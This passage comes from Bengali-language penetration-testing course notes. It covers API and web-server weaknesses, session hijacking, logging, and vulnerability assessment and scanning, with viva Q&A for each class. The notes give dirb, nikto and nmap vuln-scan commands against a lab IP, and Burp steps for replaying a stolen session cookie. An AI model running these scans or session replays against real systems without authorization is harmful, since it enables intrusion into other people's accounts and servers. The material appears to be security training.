- উত্তর: **SQL Injection**-এর ক্ষেত্রে অ্যাটাকটি হয় সার্ভার বা ডাটাবেজের ওপর, যেখানে হ্যাকার ক্ষতিকর **SQL** কুয়েরি পাঠিয়ে ডাটাবেজের নিয়ন্ত্রণ নেয়। আর **XSS**-এর ক্ষেত্রে অ্যাটাকটি হয় ক্লায়েন্ট বা ইউজারের ব্রাউজারের ওপর, যেখানে হ্যাকার ক্ষতিকর **JavaScript** কোড এক্সিকিউট করিয়ে ইউজারের সেশন চুরি বা ব্রাউজার ম্যানিপুলেট করে।
- প্রশ্ন ২: **Stored XSS** এবং **Reflected XSS** এর মধ্যে কোনটি বেশি বিপজ্জনক এবং কেন?
- উত্তর: **Stored XSS** বেশি বিপজ্জনক। কারণ, এতে ক্ষতিকর স্ক্রিপ্টটি সরাসরি সার্ভারের ডাটাবেজে স্থায়ীভাবে জমা হয়ে থাকে। ফলে কোনো ইউজারকে আলাদাভাবে ক্ষতিকর লিংকে ক্লিক করাতে হয় না; সাধারণ ব্যবহারকারীরা যখনই ওই আক্রান্ত পেজটি ব্রাউজ করবেন, তখনই স্বয়ংক্রিয়ভাবে তাদের অ্যাকাউন্ট হ্যাক হতে পারে।
- প্রশ্ন ৩: **XSS** প্রতিরোধ করার সবচেয়ে কার্যকরী উপায় কী?
- উত্তর: **XSS** প্রতিরোধের দুটি প্রধান উপায় হলো **Context-Aware Output Encoding** এবং **Input Sanitization**। ব্যবহারকারীর দেওয়া সমস্ত ইনপুটকে ব্রাউজারে রেন্ডার করার আগে এনকোড করে নিতে হবে, যেন ব্রাউজার সেটিকে এক্সিকিউটেবল কোড না ভেবে সাধারণ টেক্সট হিসেবে দেখায়। এছাড়া **Content Security Policy (CSP)** হেডার ব্যবহার করে ব্রাউজারে অননুমোদিত স্ক্রিপ্ট রান হওয়া ব্লক করা যায়।

আপনার জন্য কাজ (**Task for You**):

XSS এর ৩টি প্রকারভেদ, বেসিক অ্যালার্ট পেলোড এবং এটি প্রতিরোধের উপায়গুলো খুব ভালো করে রিভিশন দিন।

পড়া সম্পূর্ণ হলে এবং পরবর্তী মডিউলের জন্য প্রস্তুত থাকলে নিচে লিখুন "১১তম ক্লাস" বা **"Class 11"**।



Class 11: Web Services Hacking & API Security

সিলেবাসের অংশ: Apply the Techniques of Web Services Hacking — Identify Web server Vulnerabilities & Analyze web application [OUCyS007L4V!]

১০ম ক্লাসে আমরা ওয়েব অ্যাপ্লিকেশনের XSS এবং Countermeasures শেষ করে ৫০ ঘন্টার বিশাল মডিউলটি সম্পন্ন করেছি। আজ ১১তম ক্লাস থেকে শুরু হচ্ছে "Web Services Hacking" মডিউল। আধুনিক সময়ে শুধু সাধারণ ওয়েবসাইট নয়, ব্যাকএন্ডের বিভিন্ন API এবং ওয়েব সার্ভিস কীভাবে কাজ করে এবং সেগুলোর দুর্বলতা কীভাবে ধরতে হয়, তা জানা পেনটেষ্টারদের জন্য অত্যন্ত জরুরি।

১. মূল তত্ত্ব (Core Theory)

ক. ওয়েব সার্ভিস (Web Services) এবং API কী?

একটি সাধারণ ওয়েবসাইট সরাসরি মানুষের পড়ার জন্য HTML পেজ রেন্ডার করে। কিন্তু **Web Service** বা **API (Application Programming Interface)** হলো এমন একটি মাধ্যম যার দ্বারা দুটি ভিন্ন সফটওয়্যার বা সিস্টেম একে অপরের সাথে ডেটা আদান-প্রদান করে (যেমন: একটি মোবাইল অ্যাপ কীভাবে ব্যাকএন্ড সার্ভার থেকে ডাটা নিয়ে আসে)।

- বর্তমানে সবচেয়ে জনপ্রিয় হলো **REST API**, যা সাধারণত **JSON (JavaScript Object Notation)** ফরম্যাটে ডাটা আদান-প্রদান করে।

খ. ওয়েব সার্ভারের সাধারণ দুর্বলতা (Web Server Vulnerabilities)

১. **Misconfiguration** (ভুল কনফিগারেশন): সার্ভারে ডিফল্ট ইউজারনেম/পাসওয়ার্ড (যেমন: admin/admin) রেখে দেওয়া, অপ্রয়োজনীয় পোর্ট বা সার্ভিস চালু রাখা।

২. **Information Disclosure**: সার্ভারের এরর মেসেজ (Error Message) ব্যাকএন্ডের সফটওয়্যার ভাঙ্গন, ডাটাবেজের পথ বা সেনসিটিভ কোড ফাঁস হয়ে যাওয়া।

৩. **Directory Listing Enabled**: সার্ভারের কোনো ডিরেক্টরিতে ইনডেক্স ফাইল (index.html) না থাকলে পুরো ফোল্ডারের ফাইল লিস্ট ব্রাউজারে সবার সামনে ওপেন হয়ে যাওয়া।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার ল্যাবে আপনাকে একটি টার্গেট সার্ভার বা আইপি দেওয়া হতে পারে এবং সেটির ডিরেক্টরি বা হিডেন সার্ভিস খুঁজে বের করতে বলা হতে পারে।

টাস্ক ১: ডিরেক্টরি ব্রুটফোর্সিং (Directory Bruteforcing using Dirb/Gobuster)

ওয়েবসাইটের কোন কোন হিডেন ফোল্ডার বা ফাইল (যেমন: /admin, /backup.zip, /config.php) আছে তা ম্যানুয়ালি খোঁজা অসম্ভব। এর জন্য আমরা Kali Linux-এর **Dirb** বা **Gobuster** টুল ব্যবহার করি।

- কমান্ড:

```
• Bash
```

```
dirb http://192.168.1.50/
```

- (ব্যখ্যা: এই টুলটি একটি ব্যাকএন্ড ওয়ার্ডলিস্ট ব্যবহার করে টার্গেট সাইটের সব হিডেন ডিরেক্টরি এবং ফাইল অটোমেটিক স্ক্যান করে বের করবে।)

টাস্ক ২: API ট্রাফিক অ্যানালাইসিস (Using Burp Suite)

Burp Suite ওপেন করে ইন্টারসেস্ট অন করুন। ব্রাউজার থেকে কোনো রিকোয়েস্ট পাঠালে ইন্টারসেস্টেড ডাটা যদি {"user": "test"} বা JSON ফরম্যাটে থাকে, তবে বুঝবেন এটি একটি API রিকোয়েস্ট।

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: **Directory Listing** বা **Directory Browsing** দুর্বলতা বলতে কী বোঝায়? এটি কীভাবে ফিক্স করা যায়?
- উত্তর: ওয়েব সার্ভারে যদি "Directory Listing" এনাবল থাকে, তবে কোনো ফোল্ডারে প্রধান ইনডেক্স ফাইল না থাকলে ভিজিটররা ওই ফোল্ডারের ভেতরে থাকা সমস্ত ফাইলের তালিকা সরাসরি ব্রাউজারে দেখতে পান। এর ফলে ব্যাকআপ ফাইল বা কনফিগারেশন ফাইল চুরি হতে পারে। এটি ফিক্স করার জন্য ওয়েব সার্ভারের

কনফিগারেশন ফাইল (যেমন Apache-র ক্ষেত্রে `.htaccess` বা `httpd.conf`) থেকে `Options -Indexes` করে ডিরেক্টরি লিস্টিং বন্ধ করে দিতে হবে।

- প্রশ্ন ২: *API* এবং সাধারণ ওয়েব অ্যাপ্লিকেশনের মধ্যে পেনটেস্টিংয়ের ক্ষেত্রে প্রধান পার্থক্য কী?
- উত্তর: সাধারণ ওয়েব অ্যাপ্লিকেশন টেস্ট করার সময় আমরা প্রধানত ফ্রন্টএন্ড ফর্ম, বাটন এবং HTML সোর্স কোড দেখতে পারি। কিন্তু API পেনটেস্টিংয়ের কোনো দৃশ্যমান ফ্রন্টএন্ড বা UI থাকে না। এখানে আমাদের রিকোয়েস্টের মেথড (GET, POST, PUT, DELETE) এবং JSON/XML এর মতো র-ডেটা (Raw Data) অ্যানালাইসিস করে Burp Suite বা Postman টুলের সাহায্য নিয়ে টেস্ট করতে হয়।
- প্রশ্ন ৩: *Information Disclosure* বা তথ্য ফাঁস হওয়া কীভাবে সিস্টেমকে ঝুঁকিতে ফেলে?
- উত্তর: যখন কোনো ওয়েব সার্ভার এরর মেসেজ বা রেসপন্স হেডারে তার অপারেটিং সিস্টেমের নাম, সার্ভার সফটওয়্যারের সুনির্দিষ্ট সংস্করণ (যেমন: Apache/2.4.41) প্রকাশ করে দেয়, তখন হ্যাকাররা সহজেই ওই সংস্করণের জন্য পাবলিকলি উপলব্ধ এক্সপ্লয়েট (Exploit) বা দুর্বলতা ইন্টারনেটে খুঁজে বের করে সার্ভারটি হ্যাক করতে পারে।

আপনার জন্য কাজ (Task for You):

Dirb টুলের কাজ এবং ওয়েব সার্ভারের বেসিক মিসকনফিগারেশনগুলো ভালো করে রিভিশন দিন। পড়া সম্পন্ন হলে এবং পরবর্তী ক্লাসের জন্য প্রস্তুত হলে নিচে লিখুন "১২তম ক্লাস" বা "Class 12"।



Class 12: Advanced Web Services Attacks (Session Hijacking & Monitoring Flaws)

সিলেবাসের অংশ: Apply the Techniques of Web Services Hacking — Identify Web Application Threats & Attack, Apply Session Hijacking, & Insufficient logging and monitoring [OUCyS007L4V!]

১২তম ক্লাসে আমরা API এবং ওয়েব সার্ভিসের বেসিক আর্কিটেকচার ও ডিরেক্টরি ব্রুটফোর্সিং শিখেছি। আজ ১২তম ক্লাসে আমরা দেখব কীভাবে ওয়েব সার্ভিসের সেশন হাইজ্যাক করা হয় এবং ডিফেন্ডারদের "Insufficient Logging and Monitoring" (পর্যাপ্ত লগ ও মনিটরিংয়ের অভাব) নামক মারাত্মক ভুলটিকে হ্যাকাররা কীভাবে কাজে লাগায়। এর মাধ্যমে আমাদের "Web Services Hacking" মডিউলটি সম্পন্ন হবে।

১. মূল তত্ত্ব (Core Theory)

ক. **Session Hijacking** (সেশন হাইজ্যাক করা) কী?

আমরা জানি, প্রতিবার লগইন করার পর ওয়েব সার্ভার ব্রাউজারকে একটি ইউনিক **Session ID** বা **Token** দেয়। যতক্ষণ এই টোকেনটি ব্রাউজারে থাকবে, ইউজার পাসওয়ার্ড ছাড়াই সাইটে কাজ করতে পারবেন। কোনো কারণে হ্যাকার যদি এই সেশন টোকেনটি চুরি করতে পারে, তবে সে নিজের ব্রাউজারে সেটি বসিয়ে (Inject করে) সরাসরি আসল ইউজারের অ্যাকাউন্টে প্রবেশ করতে পারে। একেই **Session Hijacking** বা **Session Fixation** বলা হয়।

খ. সেশন চুরির প্রধান উপায়সমূহ

1. **XSS (Cross-Site Scripting)**: ১০ম ক্লাসে আমরা দেখেছি কীভাবে জাভাস্ক্রিপ্ট দিয়ে `document.cookie` চুরি করা যায়।
2. **Session Sniffing**: আন-এনক্রিপ্টেড নেটওয়ার্কে (যেমন ফ্রি পাবলিক ওয়াইফাই বা HTTP সাইটে) Wireshark দিয়ে ট্রাফিক ক্যাপচার করে সেশন আইডি চুরি করা।
3. **Predictable Session ID**: সেশন আইডির প্যাটার্ন যদি খুব সহজ বা দুর্বল অ্যালগরিদমে তৈরি হয়, তবে হ্যাকার তা অনুমান (Guess) করে নিতে পারে।

গ. **Insufficient Logging & Monitoring (OWASP Top 10-এর অন্তর্ভুক্ত)**

অনেক সময় হ্যাকাররা সিস্টেমে শত শত বার ভুল পাসওয়ার্ড দিয়ে লগইন করার চেষ্টা করে (Brute Force) বা অনবরত স্ক্যানিং চালায়। কিন্তু সার্ভারে যদি **Logging** (লগ বা রেকর্ড রাখার ব্যবস্থা) এবং **Monitoring** (রিয়ল-টাইম নজরদারি) ঠিকমতো কনফিগার করা না থাকে, তবে এই আক্রমণগুলো অ্যাডমিনের চোখে পড়ে না। হ্যাকাররা অলক্ষ্যে মাসের পর মাস সিস্টেমে বসে ডাটা চুরি করতে পারে।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার ল্যাবে বা ভাইভায় Burp Suite ব্যবহার করে কীভাবে সেশন ম্যানিপুলেট করা হয় তা জানতে চাওয়া হতে পারে।

টাস্ক ১: **Burp Suite-এ Cookie/Token** পরিবর্তন করা

1. **Burp Suite** ওপেন করে ইন্টারসেপ্ট অন (Intercept is on) করুন।
2. আপনার ব্রাউজার থেকে যেকোনো ডামি রিকোয়েস্ট পাঠান।
3. Burp Suite-এর রিকোয়েস্ট হেডারে **Cookie: session_id=XYZ123...** অংশটি খুঁজুন।
4. বাস্তব ক্ষেত্রে, হ্যাকাররা এই XYZ123 এর জায়গায় ভিকটিমের চুরি করা সেশন আইডি বসিয়ে দিয়ে **Forward** বাটনে ক্লিক করে, যার ফলে সার্ভার হ্যাকারকে ভিকটিমের অ্যাকাউন্ট হিসেবে স্বীকৃতি দেয়।

টাস্ক ২: লিনাক্সে লগ ফাইল চেক করা (**System Log Inspection**)

একটি লিনাক্স সার্ভারে আক্রমণ বা লগইন চেষ্টার রেকর্ড দেখার জন্য টার্মিনালে নিচের কমান্ডটি প্রয়োগ করুন:

Bash

```
sudo tail -n 20 /var/log/auth.log
```

(ব্যাখ্যা: এই কমান্ডটি লিনাক্স সিস্টেমের শেষ ২০টি অথেন্টিকেশন বা লগইন প্রচেষ্টার হিস্ট্রি দেখাবে, যা মনিটরিংয়ের অন্যতম প্রধান অংশ।)

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: **Session Hijacking** প্রতিরোধ করতে কুকি (Cookie)-তে কোন দুটি সিকিউরিটি ফ্ল্যাগ ব্যবহার করা বাধ্যতামূলক?
- উত্তর: সেশন হাইজ্যাক প্রতিরোধে কুকিতে দুটি প্রধান ফ্ল্যাগ ব্যবহার করতে হয়:
 1. **HttpOnly**: এই ফ্ল্যাগটি অন থাকলে কোনো ক্ষতিকর জাভাস্ক্রিপ্ট কোড (XSS) ব্রাউজার থেকে কুকি বা সেশন আইডি চুরি করতে পারে না।
 2. **Secure**: এই ফ্ল্যাগটি নিশ্চিত করে যে কুকিটি শুধুমাত্র এনক্রিপ্টেড **HTTPS** কানেকশনের মাধ্যমেই আদান-প্রদান হবে, ফলে সাধারণ নেটওয়ার্ক স্লিফিং করে তা চুরি করা যাবে না।
- প্রশ্ন ২: **Session Hijacking** এবং **Session Fixation**-এর মধ্যে পার্থক্য কী?
- উত্তর: **Session Hijacking**-এ ইউজার লগইন করার পরে হ্যাকার তার সেশন আইডিটি চুরি করে নেয়। আর **Session Fixation**-এ হ্যাকার আগে থেকেই একটি নির্দিষ্ট সেশন আইডি তৈরি করে ভিকটিমকে লিংকের মাধ্যমে পাঠায়। ভিকটিম যখন ওই আইডিটি সচল থাকা অবস্থায় লগইন করে, তখন হ্যাকার আগে থেকে জেনে রাখা সেই সেশন আইডি দিয়ে অ্যাকাউন্টে ঢুকে পড়ে।
- প্রশ্ন ৩: সিস্টেমে **"Insufficient Logging and Monitoring"** থাকলে কী ধরনের নিরাপত্তা ঝুঁকি তৈরি হয়?
- উত্তর: পর্যাপ্ত লগিং এবং মনিটরিং না থাকলে সিস্টেমে কোনো সাইবার অ্যাটাক বা সন্দেহজনক কার্যক্রম (যেমন: ডাটা এক্সফিল্ড্রেশন বা ব্রুট ফোর্স) ঘটলে তা সময়মতো ধরা পড়ে না। এর ফলে হ্যাকাররা দীর্ঘ সময় ধরে সিস্টেমে ব্যাকডোর তৈরি করে লুকিয়ে থাকতে পারে এবং বড় ধরনের ডেটা ব্রিচ (Data Breach) ঘটাতে পারে।

আপনার জন্য কাজ (**Task for You**):

সেশন সিকিউরিটির ফ্ল্যাগ দুটির নাম (HttpOnly, Secure) এবং লগ ফাইলের পাথটি ভালো করে মনে রাখুন। পড়া সম্পূর্ণ হলে এবং পরবর্তী মডিউলের জন্য প্রস্তুত থাকলে নিচে লিখুন "১৩তম ক্লাস" বা **"Class 13"**।



Class 13: Vulnerability Assessment (VA) Concepts & Methodologies

সিলেবাসের অংশ: Apply Vulnerability Assessment — Interpret vulnerability concept

[OUCyS009L4V!]

১২তম ক্লাসে আমরা ওয়েব সার্ভিস হ্যাকিং এবং সেশন হাইজ্যাকিংয়ের মডিউলটি শেষ করেছি। আজ ১৩তম ক্লাস থেকে শুরু হচ্ছে আমাদের সিলেবাসের আরেকটি অন্যতম প্রধান এবং ৬০ ঘণ্টার দীর্ঘ মডিউল: "**Vulnerability Assessment (VA)**" বা দুর্বলতা মূল্যায়ন। পেনটেস্টিং ইন্ডাস্ট্রিতে VA এবং PT (Penetration Testing) শব্দ দুটি একসাথে সবচেয়ে বেশি উচ্চারিত হয়।

১. মূল তত্ত্ব (Core Theory)

ক. Vulnerability Assessment (VA) কী?

Vulnerability Assessment হলো একটি নির্দিষ্ট নেটওয়ার্ক, সিস্টেম বা অ্যাপ্লিকেশনের মধ্যে কী কী নিরাপত্তা দুর্বলতা, ত্রুটি বা সিকিউরিটি হোল (Security Hole) রয়েছে তা সুনির্দিষ্টভাবে খুঁজে বের করা, শ্রেণীবিন্যাস করা এবং সেগুলোর একটি তালিকা তৈরি করার পদ্ধতিগত প্রক্রিয়া। এটি মূলত একটি **Identify & List** করার প্রক্রিয়া, যেখানে সরাসরি সিস্টেমে আঘাত (Exploit) করা হয় না।

খ. VA এবং PT এর মধ্যে মূল পার্থক্য (VA vs PT)

ভাইবা বোর্ডের জন্য এই পার্থক্যটি জানা আপনার জন্য ১০০% বাধ্যতামূলক:

- **Vulnerability Assessment (VA):** এর লক্ষ্য হলো সিস্টেমের সব ধরনের সম্ভাব্য দুর্বলতা খুঁজে বের করা (Breadth-oriented)। এটি সাধারণত অটোমেটেড টুলস দিয়ে করা হয় এবং এর আউটপুট হিসেবে একটি ভালনারেবিলিটি রিপোর্ট তৈরি হয়।
- **Penetration Testing (PT):** এর লক্ষ্য হলো খুঁজে পাওয়া দুর্বলতাগুলোকে কাজে লাগিয়ে (Exploit করে) সিস্টেমে সত্যি সত্যি প্রবেশ করা বা ক্ষতি করা সম্ভব কিনা তা প্রমাণ করা (Depth-oriented)। এটি মূলত ম্যানুয়াল বা মানুষের বুদ্ধিমত্তা দিয়ে করা হয়।

গ. Vulnerability Life Cycle (দুর্বলতার জীবনচক্র)

একটি দুর্বলতা আবিষ্কার থেকে ফিক্স হওয়া পর্যন্ত কয়েকটি ধাপ অতিক্রম করে:

1. **Discovery:** সিস্টেমে দুর্বলতা খুঁজে পাওয়া।
2. **Analysis/Classification:** দুর্বলতাটি কতটা মারাত্মক (High, Medium, Low) তা নির্ধারণ করা।
3. **Remediation/Patching:** দুর্বলতাটি ফিক্স করার জন্য সিকিউরিটি প্যাচ বা কোড আপডেট করা।
4. **Verification:** পুনরায় স্ক্যান করে নিশ্চিত হওয়া যে দুর্বলতাটি আসলেই ফিক্স হয়েছে কিনা।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষায় এবং বাস্তব কাজের ক্ষেত্রে ভালনারেবিলিটির তীব্রতা মাপার বৈশ্বিক স্ট্যান্ডার্ডটি বুঝতে হবে।

- **Task 1 (CVSS Score Understanding):** CVSS (Common Vulnerability Scoring System) সম্পর্কে জানুন। এটি ১ থেকে ১০ পর্যন্ত স্কোরের মাধ্যমে একটি দুর্বলতার ভয়াবহতা প্রকাশ করে:
 - **Low:** 0.1 – 3.9
 - **Medium:** 4.0 – 6.9
 - **High:** 7.0 – 8.9
 - **Critical:** 9.0 – 10.0 (যেমন: রিমোট কোড এক্সিকিউশন বা RCE)
- **Task 2 (CVE Search):** ন্যাশনাল ভালনারেবিলিটি ডাটাবেজ বা cve.mitre.org-এ গিয়ে যেকোনো একটি পরিচিত দুর্বলতার (যেমন: Log4j বা EternalBlue) **CVE ID** (Common Vulnerabilities and Exposures) কেমন হয় এবং এর ডিটেইলস কেমন থাকে তা সার্চ করে দেখে নিন।

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: Vulnerability Assessment এবং Penetration Testing এর মধ্যে প্রধান পার্থক্য কী?
- উত্তর: Vulnerability Assessment (VA) হলো সিস্টেমে কী কী দুর্বলতা আছে তা অটোমেটেড স্ক্যানিং বা ইন্ভেন্টরির মাধ্যমে খুঁজে বের করে একটি তালিকা বা রিপোর্ট তৈরি করা। আর Penetration Testing (PT) হলো একধাপ এগিয়ে সেই দুর্বলতাগুলোকে বাস্তব আক্রমণের (Exploitation) মাধ্যমে পরীক্ষা করে দেখা যে সিস্টেমের ভেতর কতটা গভীরে প্রবেশ করা সম্ভব। সহজ কথায়, VA দুর্বলতা খোঁজে আর PT তা প্রমাণ করে।
- প্রশ্ন ২: False Positive বলতে কী বোঝায়? VA স্ক্যানিংয়ে এটি কেন ঘটে?
- উত্তর: যখন কোনো ভালনারেবিলিটি স্ক্যানার টুল সিস্টেমে আসলে কোনো দুর্বলতা না থাকা সত্ত্বেও ভুলবশত রিপোর্ট করে যে সেখানে একটি দুর্বলতা আছে, তখন তাকে **False Positive** বলা হয়। এটি সাধারণত ঘটে

যখন স্ক্যানার টুলটি কোনো সফটওয়্যারের শুধু ভার্শন নম্বর দেখে অনুমান করে নেয়, কিন্তু ব্যাকগ্রাউন্ডে যে ওই ওএসে আলাদা সিকিউরিটি প্যাচ দেওয়া আছে তা বুঝতে পারে না।

- প্রশ্ন ৩: CVSS এবং CVE এর পূর্ণরূপ কী? এগুলো কেন ব্যবহৃত হয়?
- উত্তর: CVE এর পূর্ণরূপ হলো *Common Vulnerabilities and Exposures*, এটি প্রতিটি আবিষ্কৃত সিকিউরিটি দুর্বলতাকে একটি ইউনিক আইডেন্টিফিকেশন নম্বর দেয়। আর CVSS এর পূর্ণরূপ হলো *Common Vulnerability Scoring System*, এটি সেই দুর্বলতাটি কতটা বিপজ্জনক বা মারাত্মক তা ১ থেকে ১০ ভিত্তিক একটি স্কোরের মাধ্যমে নির্ধারণ করে।

Your Next Step:

VA এবং PT-এর পার্থক্য ও CVSS স্কোরের রেঞ্জগুলো খুব ভালো করে মনে রাখুন। পড়া শেষ হলে এবং পরবর্তী প্র্যাকটিক্যাল ক্লাসের জন্য প্রস্তুত থাকলে নিচে লিখুন "১৪তম ক্লাস" বা "Class 14"।



Class 14: Vulnerability Assessment (VA) Tools & Practical Scanning

সিলেবাসের অংশ: Apply Vulnerability Assessment — Use Vulnerability Assessment tools
[OUCyS009L4V!]

১৩তম ক্লাসে আমরা ভালনারেবিলিটি অ্যাসেসমেন্টের থিওরি এবং CVSS স্কোরিং সিস্টেম শিখেছি। আজ ১৪তম ক্লাসে আমরা প্র্যাকটিক্যাল ভালনারেবিলিটি স্ক্যানিং এবং এর জন্য ব্যবহৃত প্রধান টুলসগুলো নিয়ে আলোচনা করব। NSDA-এর প্র্যাকটিক্যাল পরীক্ষার জন্য এটি অন্যতম প্রধান একটি টাস্ক।

১. মূল তত্ত্ব (Core Theory)

ভালনারেবিলিটি অ্যাসেসমেন্ট সাধারণত দুটি পদ্ধতিতে করা হয়:

1. **Authenticated Scan (ক্রেডেনশিয়াল স্ক্যান):** এখানে স্ক্যানার টুলের মধ্যে টার্গেট সিস্টেমের ইউজারনেম এবং পাসওয়ার্ড (Credentials) আগে থেকেই ইনপুট দেওয়া থাকে। ফলে টুলটি সিস্টেমের ভেতরে লগইন করে একদম নিখুঁতভাবে ভেতরের কনফিগারেশন ত্রুটি বা মিসিং প্যাচগুলো খুঁজে বের করতে পারে।
2. **Unauthenticated Scan (নন-ক্রেডেনশিয়াল স্ক্যান):** এখানে কোনো লগইন ইনফরমেশন ছাড়া কেবল বাইরে থেকে নেটওয়ার্ক পোর্টের মাধ্যমে স্ক্যান করা হয়। হ্যাকাররা বাইরে থেকে কী কী দেখতে পাচ্ছে, তা জানার জন্য এটি করা হয়।

প্রধান স্ক্যানিং টুলস (Scanning Tools)

- **Nessus:** এটি পৃথিবীর সবচেয়ে জনপ্রিয় ও এন্টারপ্রাইজ লেভেলের ভালনারেবিলিটি স্ক্যানার। এটি দিয়ে নেটওয়ার্ক, অপারেটিং সিস্টেম এবং ডাটাবেজের নিখুঁত স্ক্যানিং রিপোর্ট তৈরি করা যায়।
- **Nikto:** এটি একটি ওপেন সোর্স এবং চমৎকার কমান্ড-লাইন ওয়েব সার্ভার স্ক্যানার। এটি Kali Linux-এ প্রি-ইনস্টলড থাকে এবং দ্রুত ওয়েবসাইটের বিপজ্জনক ফাইল ও মিসকনফিগারেশন খুঁজে বের করতে পারে।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার হলে আপনাকে সাধারণত কমান্ড-লাইন ভিত্তিক টুল যেমন **Nikto** অথবা Nmap-এর বিশেষ স্ক্রিপ্টিং ইঞ্জিন (NSE) ব্যবহার করে ভালনারেবিলিটি স্ক্যান করতে দেওয়া হবে।

টাস্ক ১: **Nikto** দিয়ে ওয়েব সার্ভার স্ক্যানিং

আপনার Kali Linux টার্মিনাল ওপেন করে নিচের কমান্ডটি দিয়ে যেকোনো ডামি বা টার্গেট ওয়েব সার্ভার স্ক্যান করার প্র্যাকটিস করুন:

```
Bash
```

```
nikto -h http://192.168.1.50/
```


(ব্যখ্যা: -h মানে *Host*। এই কমান্ডটি টার্গেট আইপি ওয়েব সার্ভারে কোনো আউটডেটেড সফটওয়্যার, ঝুঁকিপূর্ণ সিজিআই ফাইল বা ভুল কনফিগারেশন আছে কিনা তা স্ক্যান করবে।)

টাস্ক ২: Nmap Vulnerability Scripting (NSE)

Nmap-এর নিজস্ব কিছু স্ক্রিপ্ট আছে যা দিয়ে সরাসরি ভালনারেবিলিটি স্ক্যান করা যায়। টার্মিনালে রান করুন:

Bash

```
nmap --script vuln 192.168.1.50
```

(ব্যখ্যা: এই কমান্ডটি টার্গেট মেশিনের ওপেন পোর্টের সার্ভিসগুলোর ওপর পরিচিত সব পাবলিক দুর্বলতা বা CVE আইডেন্টিফাই করার চেষ্টা করবে।)

③. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: *Authenticated Scan* এবং *Unauthenticated Scan* এর মধ্যে প্রধান পার্থক্য কী? কোনটি বেশি কার্যকর?
- উত্তর: *Authenticated* স্ক্যানে টুলের কাছে টার্গেটের লগইন ক্রেডেনশিয়াল থাকে, ফলে এটি সিস্টেমের ভেতরের গভীরতম কনফিগারেশন ও সফটওয়্যার ত্রুটি সনাক্ত করতে পারে। আর *Unauthenticated* স্ক্যানে কোনো লগইন এক্সেস ছাড়াই বাইরে থেকে স্ক্যান করা হয়। ভেতরের নিখুঁত তথ্য এবং মিসিং সিকিউরিটি প্যাচ জানার জন্য **Authenticated Scan** সবচেয়ে বেশি কার্যকর।
- প্রশ্ন ২: *Nikto* টুলটি কেন ব্যবহার করা হয়? এর আউটপুটে সাধারণত কী দেখা যায়?
- উত্তর: *Nikto* হলো একটি ওপেন সোর্স ওয়েব সার্ভার স্ক্যানার। এটি ওয়েব সার্ভারের বিভিন্ন বিপজ্জনক ফাইল, আউটডেটেড সার্ভার সফটওয়্যার সংস্করণ, এবং সার্ভারের কনফিগারেশন ত্রুটি (যেমন ক্ষতিকর HTTP মেথড এনাবল থাকা) স্বয়ংক্রিয়ভাবে খুঁজে বের করতে ব্যবহার করা হয়।
- প্রশ্ন ৩: *Nmap NSE* কী? এর মাধ্যমে কীভাবে ভালনারেবিলিটি টেস্ট করা যায়?
- উত্তর: NSE এর পূর্ণরূপ হলো **Nmap Scripting Engine**। এর মাধ্যমে ব্যবহারকারীরা স্ক্রিপ্ট লিখে নেটওয়ার্কের বিভিন্ন টাস্ক অটোমেট করতে পারেন। ভালনারেবিলিটি টেস্ট করার জন্য Nmap-এর সাথে `--script vuln` কমান্ড ব্যবহার করলে এটি টার্গেট সিস্টেমে কোনো সুপরিচিত সিকিউরিটি হোল বা CVE আছে কিনা তা স্বয়ংক্রিয়ভাবে বের করে দেয়।

আপনার জন্য কাজ (Task for You):

Nikto এবং *Nmap*-এর ভালনারেবিলিটি স্ক্যানিং কমান্ড দুটি ল্যাবে প্র্যাকটিস করুন এবং ভাইবার প্রশ্নগুলো মুখস্থ করে নিন। পড়া সম্পূর্ণ হলে এবং পরবর্তী রিপোর্টিং মডিউলের জন্য প্রস্তুত থাকলে নিচে লিখুন "১৫তম ক্লাস" বা **"Class 15"**।



Class 15: VA Reporting & Remediation Planning

সিলেবাসের অংশ: Apply Vulnerability Assessment — Prepare VA Report [OUCyS009L4V!]

১৪তম ক্লাসে আমরা প্র্যাক্টিক্যাল ভালনারেবিলিটি স্ক্যানিং এবং বিভিন্ন টুলসের (*Nikto*, *Nmap NSE*) ব্যবহার শিখেছি। আজ ১৫তম ক্লাসে আমরা জানব কীভাবে স্ক্যানিং থেকে প্রাপ্ত ডেটা দিয়ে একটি প্রফেশনাল **Vulnerability Assessment (VA) Report** তৈরি করতে হয় এবং ক্লায়েন্টকে ফিক্সিং বা প্রতিকারের (Remediation) পরামর্শ দিতে হয়। এর মাধ্যমে আমাদের ৬০ ঘন্টার "Vulnerability Assessment" মডিউলটি সম্পন্ন হবে।

১. মূল তত্ত্ব (Core Theory)

পেনটেস্টিং বা ভালনারেবিলিটি অ্যাসেসমেন্টের সবচেয়ে গুরুত্বপূর্ণ আউটপুট হলো এর রিপোর্ট। আপনি যত বড় দুর্বলতাই খুঁজে পান না কেন, তা যদি টেকনিক্যাল এবং নন-টেকনিক্যাল (ম্যানেজমেন্ট) উভয় পক্ষের কাছে সুন্দরভাবে উপস্থাপন করতে না পারেন, তবে সেই কাজের কোনো মূল্য নেই।

ক. একটি আদর্শ VA রিপোর্টের প্রধান অংশসমূহ (Structure of a VA Report)

- Executive Summary:** এটি মূলত কোম্পানির সিইও (CEO), ডিরেক্টর বা নন-টেকনিক্যাল ম্যানেজমেন্টের জন্য লেখা হয়। এখানে কোনো জটিল কোড বা টেকনিক্যাল টার্ম না লিখে অত্যন্ত সহজ ভাষায়—সিস্টেমের সার্বিক নিরাপত্তা অবস্থা কেমন, কয়টি ক্রিটিক্যাল দুর্বলতা পাওয়া গেছে এবং তার ব্যবসায়িক প্রভাব (Business Impact) কী হতে পারে, তা সংক্ষেপে তুলে ধরা হয়।
